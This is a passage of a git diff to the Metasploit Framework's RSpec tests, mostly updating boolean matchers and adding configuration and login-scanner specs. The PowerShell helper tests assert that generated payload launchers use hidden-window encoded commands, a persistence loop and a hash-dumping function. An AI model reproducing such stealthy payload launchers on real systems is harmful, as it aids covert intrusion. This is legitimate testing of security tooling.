expect(connection_pool.active_connection?).to be_truthy end context 'with error' do @@ -129,7 +129,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do context 'without active thread connection' do it 'should return false from #active_connection?' do - expect(connection_pool.active_connection?).to be_false + expect(connection_pool.active_connection?).to be_falsey end context 'with error' do diff --git a/spec/lib/fastlib_spec.rb b/spec/lib/fastlib_spec.rb index f8efb0fbb3..97234e6b90 100644 --- a/spec/lib/fastlib_spec.rb +++ b/spec/lib/fastlib_spec.rb @@ -69,11 +69,11 @@ describe FastLib do end it 'should create an archive' do - File.exist?(@destination_path).should be_false + File.exist?(@destination_path).should be_falsey described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true + File.exist?(@destination_path).should be_truthy end context 'cache' do @@ -114,7 +114,7 @@ describe FastLib do # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be # in the archive. - File.exist?(unarchived_path).should be_true + File.exist?(unarchived_path).should be_truthy cache[archived_path].should_not be_nil end end @@ -127,25 +127,25 @@ describe FastLib do end it 'should create an archive' do - File.exist?(@destination_path).should be_false + File.exist?(@destination_path).should be_falsey described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true + File.exist?(@destination_path).should be_truthy end it 'should be smaller than the uncompressed archive' do uncompressed_path = "#{@destination_path}.uncompressed" compressed_path = "#{@destination_path}.compressed" - File.exist?(uncompressed_path).should be_false - File.exist?(compressed_path).should be_false + File.exist?(uncompressed_path).should be_falsey + File.exist?(compressed_path).should be_falsey described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) - File.exist?(uncompressed_path).should be_true - File.exist?(compressed_path).should be_true + File.exist?(uncompressed_path).should be_truthy + File.exist?(compressed_path).should be_truthy File.size(compressed_path).should < File.size(uncompressed_path) end @@ -157,11 +157,11 @@ describe FastLib do end it 'should create an archive' do - File.exist?(@destination_path).should be_false + File.exist?(@destination_path).should be_falsey described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true + File.exist?(@destination_path).should be_truthy end end @@ -171,11 +171,11 @@ describe FastLib do end it 'should create an archive' do - File.exist?(@destination_path).should be_false + File.exist?(@destination_path).should be_falsey described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true + File.exist?(@destination_path).should be_truthy end end end @@ -194,7 +194,7 @@ describe FastLib do # ensure modules expected to be listed actually exist it 'should use existent unarchived modules' do unarchived_paths.each do |unarchived_path| - File.exist?(unarchived_path).should be_true + File.exist?(unarchived_path).should be_truthy end end diff --git a/spec/lib/metasploit/framework/afp/client_spec.rb b/spec/lib/metasploit/framework/afp/client_spec.rb index e69de29bb2..8b13789179 100644 --- a/spec/lib/metasploit/framework/afp/client_spec.rb +++ b/spec/lib/metasploit/framework/afp/client_spec.rb @@ -0,0 +1 @@ + diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb index 00b822c66d..b834d21251 100644 --- a/spec/lib/metasploit/framework/credential_spec.rb +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -22,7 +22,7 @@ describe Metasploit::Framework::Credential do describe "#paired" do it "defaults to true" do - expect(cred_detail.paired).to be_true + expect(cred_detail.paired).to be_truthy end end diff --git a/spec/lib/metasploit/framework/database_spec.rb b/spec/lib/metasploit/framework/database_spec.rb new file mode 100644 index 0000000000..d8c4663ebe --- /dev/null +++ b/spec/lib/metasploit/framework/database_spec.rb @@ -0,0 +1,670 @@ +require 'spec_helper' + +RSpec.describe Metasploit::Framework::Database do + context 'CONSTANTS' do + context 'CONFIGURATIONS_PATHNAME_PRECEDENCE' do + subject(:configurations_pathname_precedence) { + described_class::CONFIGURATIONS_PATHNAME_PRECEDENCE + } + + it { is_expected.to match_array( + [ + :environment_configurations_pathname, + :user_configurations_pathname, + :project_configurations_pathname + ] + ) } + end + end + + context '.configurations_pathname' do + subject(:configurations_pathname) { + described_class.configurations_pathname(*arguments) + } + + context 'with options' do + let(:arguments) { + [ + { + path: path + } + ] + } + + context 'with :path' do + context 'that exists' do + let(:path) { + tempfile.path + } + + let(:tempfile) { + Tempfile.new(['database', '.yml']) + } + + it 'returns Pathname(path)' do + expect(configurations_pathname).to eq(Pathname.new(path)) + end + end + + context 'that does not exist' do + let(:path) { + '/a/configurations/path/that/does/not/exist/database.yml' + } + + + it { is_expected.to be_nil } + end + end + + context 'without :path' do + let(:path) { + '' + } + + it 'calls configurations_pathnames' do + expect(described_class).to receive(:configurations_pathnames).and_call_original + + configurations_pathname + end + + it 'returns first pathname from configurations_pathnames' do + expect(configurations_pathname).to eq(described_class.configurations_pathnames.first) + end + end + end + + context 'without options' do + let(:arguments) { + [] + } + + it 'calls configurations_pathnames' do + expect(described_class).to receive(:configurations_pathnames).and_call_original + + configurations_pathname + end + + it 'returns first pathname from configurations_pathnames' do + expect(configurations_pathname).to eq(described_class.configurations_pathnames.first) + end + end + end + + context '.configurations_pathnames' do + subject(:configurations_pathnames) { + described_class.configurations_pathnames + } + + before(:each) do + allow(described_class).to receive(:environment_configurations_pathname).and_return( + environment_configurations_pathname + ) + end + + context 'with environment_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:environment_configurations_pathname) { + Pathname.new(environment_configurations_tempfile.path) + } + + let(:environment_configurations_tempfile) { + Tempfile.new(['environment_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:user_configurations_pathname).and_return( + user_configurations_pathname + ) + end + + context 'with user_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new(user_configurations_tempfile.path) + } + + let(:user_configurations_tempfile) { + Tempfile.new(['user_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [environment_configurations_pathname, user_configurations_pathname, project_configurations_pathname]' do + expect(project_configurations_pathname).to exist + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/does/not/exist/here/config/database.yml') + } + + it 'is [environment_configurations_pathname, user_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).not_to exist + + expect(project_configurations_pathname).not_to exist + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [environment_configuration_pathname, user_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname + ] + ) + end + end + end + + context 'with does not exist' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml') + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [environment_configurations_pathname, project_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is [environment_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [environment_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname + ] + ) + end + end + end + end + + context 'without user_configurations_pathname' do + # + # lets + # + + let(:user_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'contains only the environment_configuration_pathname' do + expect(configurations_pathnames).to match_array([environment_configurations_pathname]) + end + end + end + end + + context 'that does not exist' do + + end + end + + context 'without environment_configurations_pathname' do + # + # lets + # + + let(:environment_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:user_configurations_pathname).and_return( + user_configurations_pathname + ) + end + + context 'with user_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new(user_configurations_tempfile.path) + } + + let(:user_configurations_tempfile) { + Tempfile.new(['user_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [user_configurations_pathname, project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is [user_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [user_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname + ] + ) + end + end + end + + context 'that does not exist' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml') + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to eq([]) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to eq([]) + end + end + end + end + + context 'without user_configurations_pathname' do + # + # lets + # + + let(:user_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to be_nil + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to be_nil + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to eq([]) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it { is_expected.to eq([]) } + end + end + end + end + + context '.environment_configurations_pathname' do + subject(:environment_configurations_pathname) { + described_class.environment_configurations_pathname + } + + around(:each) do |example| + env_before = ENV.to_hash + + begin + example.run + ensure + ENV.update(env_before) + end + end + + context 'with MSF_DATABASE_CONFIG' do + before(:each) do + ENV['MSF_DATABASE_CONFIG'] = msf_database_config + end + + context 'with blank' do + let(:msf_database_config) { + '' + } + + it { is_expected.to be_nil } + end + + context 'without blank' do + let(:msf_database_config) { + 'msf/database/config/database.yml' + } + + it 'is Pathname of MSF_DATABASE_CONFIG' do + expect(environment_configurations_pathname).to eq(Pathname.new(msf_database_config)) + end + end + end + + context 'without MSF_DATABASE_CONFIG' do + it { is_expected.to be_nil } + end + end + + context '.project_configurations_pathname' do + subject(:project_configurations_pathname) { + described_class.project_configurations_pathname + } + + it 'is /config/database.yml' do + root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent.parent + expect(project_configurations_pathname).to eq(root.join('config', 'database.yml')) + end + end + + context '.user_configurations_pathname' do + subject(:user_configurations_pathname) { + described_class.user_configurations_pathname + } + + # + # lets + # + + let(:config_root) { + Dir.mktmpdir + } + + # + # Callbacks + # + + around(:each) do |example| + begin + example.run + ensure + FileUtils.remove_entry_secure config_root + end + end + + before(:each) do + expect(Msf::Config).to receive(:get_config_root).and_return(config_root) + end + + it 'is database.yml under the user config root' do + expect(user_configurations_pathname).to eq(Pathname.new(config_root).join('database.yml')) + end + end +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/jtr/cracker_spec.rb b/spec/lib/metasploit/framework/jtr/cracker_spec.rb index 8ec3ea8bb0..13d16c8c63 100644 --- a/spec/lib/metasploit/framework/jtr/cracker_spec.rb +++ b/spec/lib/metasploit/framework/jtr/cracker_spec.rb @@ -245,4 +245,4 @@ describe Metasploit::Framework::JtR::Cracker do end end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 9061e2c78a..192ae127f8 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -35,4 +35,4 @@ describe Metasploit::Framework::JtR::InvalidWordlist do end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb index 7067bcf683..ba0839664b 100644 --- a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -135,4 +135,4 @@ describe Metasploit::Framework::JtR::Wordlist do end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb index 531d788a2d..b577ab4f5c 100644 --- a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb @@ -41,4 +41,4 @@ describe Metasploit::Framework::LoginScanner::DB2 do end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb index 326667e641..83de8cc1cf 100644 --- a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb @@ -131,4 +131,4 @@ describe Metasploit::Framework::LoginScanner::FTP do end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb index f419105c05..d2cbe410be 100644 --- a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -90,4 +90,4 @@ describe Metasploit::Framework::LoginScanner::MSSQL do end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb index 6bc5a3df61..dcfeeb88ad 100644 --- a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb @@ -105,4 +105,4 @@ describe Metasploit::Framework::LoginScanner::MySQL do end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index ccefb2b97e..e77fad96b5 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -8,7 +8,7 @@ describe Metasploit::Framework::LoginScanner::POP3 do it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' context "#attempt_login" do - + let(:pub_blank) do Metasploit::Framework::Credential.new( paired: true, @@ -41,10 +41,10 @@ describe Metasploit::Framework::LoginScanner::POP3 do expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) end end - + context "Open Connection" do let(:sock) {double('socket')} - + before(:each) do sock.stub(:shutdown) sock.stub(:close) @@ -53,30 +53,30 @@ describe Metasploit::Framework::LoginScanner::POP3 do scanner.stub(:sock).and_return(sock) scanner.should_receive(:select).with([sock],nil,nil,0.4) end - + it "Server returns +OK" do expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK") expect(sock).to receive(:put).with("USER public\r\n").once.ordered expect(sock).to receive(:put).with("PASS \r\n").once.ordered - + result = scanner.attempt_login(pub_blank) expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) - + end - + it "Server Returns Something Else" do sock.stub(:get_once).and_return("+ERROR") - + result = scanner.attempt_login(pub_blank) expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) expect(result.proof).to eq("+ERROR") - + end end - + end end diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb index 029f07c642..074f098fe3 100644 --- a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -72,4 +72,4 @@ describe Metasploit::Framework::LoginScanner::Postgres do end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/result_spec.rb b/spec/lib/metasploit/framework/login_scanner/result_spec.rb index 592f78daf4..62103d47e4 100644 --- a/spec/lib/metasploit/framework/login_scanner/result_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/result_spec.rb @@ -29,17 +29,17 @@ describe Metasploit::Framework::LoginScanner::Result do context '#success?' do context 'when the status code is success' do it 'returns true' do - expect(login_result.success?).to be_true + expect(login_result.success?).to be_truthy end end context 'when the status code is anything else' do let(:status) { :connection_error } it 'returns false' do - expect(login_result.success?).to be_false + expect(login_result.success?).to be_falsey end end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb index 95c4d85cd8..0dc0c8851c 100644 --- a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb @@ -53,4 +53,4 @@ describe Metasploit::Framework::LoginScanner::SNMP do end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb index fcf80b69ca..70e8c2cf28 100644 --- a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb @@ -75,4 +75,4 @@ describe Metasploit::Framework::LoginScanner::Telnet do end end -end \ No newline at end of file +end diff --git a/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb new file mode 100644 index 0000000000..4ce999a439 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb @@ -0,0 +1,46 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/vmauthd' + +describe Metasploit::Framework::LoginScanner::VMAUTHD do + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context "#attempt_login" do + + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + context "Raised Exceptions" do + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + end +end diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb index ce265dbddd..f2b6b62c22 100644 --- a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -81,4 +81,4 @@ describe Metasploit::Framework::LoginScanner::VNC do end -end \ No newline at end of file +end diff --git a/spec/lib/msf/base/simple/framework_spec.rb b/spec/lib/msf/base/simple/framework_spec.rb index 7600fd7dad..d2ca4b86f4 100644 --- a/spec/lib/msf/base/simple/framework_spec.rb +++ b/spec/lib/msf/base/simple/framework_spec.rb @@ -8,4 +8,4 @@ describe Msf::Simple::Framework do end it_should_behave_like 'Msf::Simple::Framework::ModulePaths' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/auxiliary/drdos_spec.rb b/spec/lib/msf/core/auxiliary/drdos_spec.rb index c4a73c3171..ec4f9ce417 100644 --- a/spec/lib/msf/core/auxiliary/drdos_spec.rb +++ b/spec/lib/msf/core/auxiliary/drdos_spec.rb @@ -10,28 +10,28 @@ describe Msf::Auxiliary::DRDoS do mod end - describe '#prove_drdos' do + describe '#prove_amplification' do it 'should detect drdos when there is packet amplification only' do map = { 'foo' => [ 'a', 'b' ] } - result, _ = subject.prove_drdos(map) + result, _ = subject.prove_amplification(map) result.should be true end it 'should detect drdos when there is bandwidth amplification only' do map = { 'foo' => [ 'foofoo' ] } - result, _ = subject.prove_drdos(map) + result, _ = subject.prove_amplification(map) result.should be true end it 'should detect drdos when there is packet and bandwidth amplification' do map = { 'foo' => [ 'foofoo', 'a' ] } - result, _ = subject.prove_drdos(map) + result, _ = subject.prove_amplification(map) result.should be true end it 'should not detect drdos when there is no packet and no bandwidth amplification' do map = { 'foo' => [ 'foo' ] } - result, _ = subject.prove_drdos(map) + result, _ = subject.prove_amplification(map) result.should be false end end diff --git a/spec/lib/msf/core/exploit/cmdstager_spec.rb b/spec/lib/msf/core/exploit/cmdstager_spec.rb index b6e444a24a..ac64c3dce7 100644 --- a/spec/lib/msf/core/exploit/cmdstager_spec.rb +++ b/spec/lib/msf/core/exploit/cmdstager_spec.rb @@ -332,7 +332,7 @@ describe Msf::Exploit::CmdStager do end it "is compatible" do - expect(subject.compatible_flavor?(flavor)).to be_true + expect(subject.compatible_flavor?(flavor)).to be_truthy end end @@ -348,7 +348,7 @@ describe Msf::Exploit::CmdStager do end it "is compatible" do - expect(subject.compatible_flavor?(flavor)).to be_true + expect(subject.compatible_flavor?(flavor)).to be_truthy end end @@ -358,7 +358,7 @@ describe Msf::Exploit::CmdStager do end it "isn't compatible" do - expect(subject.compatible_flavor?(flavor)).to be_false + expect(subject.compatible_flavor?(flavor)).to be_falsey end end end @@ -375,7 +375,7 @@ describe Msf::Exploit::CmdStager do end it "is compatible" do - expect(subject.compatible_flavor?(flavor)).to be_true + expect(subject.compatible_flavor?(flavor)).to be_truthy end end @@ -385,7 +385,7 @@ describe Msf::Exploit::CmdStager do end it "isn't compatible" do - expect(subject.compatible_flavor?(flavor)).to be_false + expect(subject.compatible_flavor?(flavor)).to be_falsey end end end @@ -402,7 +402,7 @@ describe Msf::Exploit::CmdStager do end it "is compatible" do - expect(subject.compatible_flavor?(flavor)).to be_true + expect(subject.compatible_flavor?(flavor)).to be_truthy end end @@ -412,7 +412,7 @@ describe Msf::Exploit::CmdStager do end it "isn't compatible" do - expect(subject.compatible_flavor?(flavor)).to be_false + expect(subject.compatible_flavor?(flavor)).to be_falsey end end diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index 3b67509ff3..059f295e6d 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -43,13 +43,13 @@ describe Msf::Exploit::Powershell do script = File.read(example_script) compressed = subject.compress_script(script) compressed.length.should be < script.length - compressed.include?('IO.Compression').should be_true + compressed.include?('IO.Compression').should be_truthy end it 'should create a compressed script with eof' do script = File.read(example_script) compressed = subject.compress_script(script, 'end_of_file') - compressed.include?('end_of_file').should be_true + compressed.include?('end_of_file').should be_truthy end end @@ -108,7 +108,7 @@ describe Msf::Exploit::Powershell do it 'should substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('$hashes').should be_false + decompress(compressed).include?('$hashes').should be_falsey end end @@ -120,7 +120,7 @@ describe Msf::Exploit::Powershell do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('$hashes').should be_true + decompress(compressed).include?('$hashes').should be_truthy end end @@ -132,7 +132,7 @@ describe Msf::Exploit::Powershell do it 'should substitute functions' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('DumpHashes').should be_false + decompress(compressed).include?('DumpHashes').should be_falsey end end @@ -144,7 +144,7 @@ describe Msf::Exploit::Powershell do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('DumpHashes').should be_true + decompress(compressed).include?('DumpHashes').should be_truthy end end end @@ -159,28 +159,28 @@ describe Msf::Exploit::Powershell do context 'when x86 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('syswow64').should be_true + code.include?('syswow64').should be_truthy end end context 'when x64 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, 'x86_64', encoded) - code.include?('sysnative').should be_true + code.include?('sysnative').should be_truthy end end context 'when encoded' do it 'should generate a code including an encoded command' do code = subject.run_hidden_psh(payload, arch, true) - code.include?('-nop -w hidden -e ').should be_true + code.include?('-nop -w hidden -e ').should be_truthy end end context 'when command' do it 'should generate code including a -c command' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('-nop -w hidden -c ').should be_true + code.include?('-nop -w hidden -c ').should be_truthy end end @@ -191,7 +191,7 @@ describe Msf::Exploit::Powershell do end it 'should generate a code including unshorted args' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true + code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy end end end @@ -206,7 +206,7 @@ describe Msf::Exploit::Powershell do except = true end - except.should be_true + except.should be_truthy end end @@ -217,7 +217,7 @@ describe Msf::Exploit::Powershell do end it 'should add a persistance loop' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('while(1){Start-Sleep -s ').should be_true + decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy end end @@ -228,7 +228,7 @@ describe Msf::Exploit::Powershell do end it 'shouldnt add a persistance loop' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('while(1){Start-Sleep -s ').should be_false + decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey end end @@ -239,7 +239,7 @@ describe Msf::Exploit::Powershell do end it 'should prepend sleep' do code = 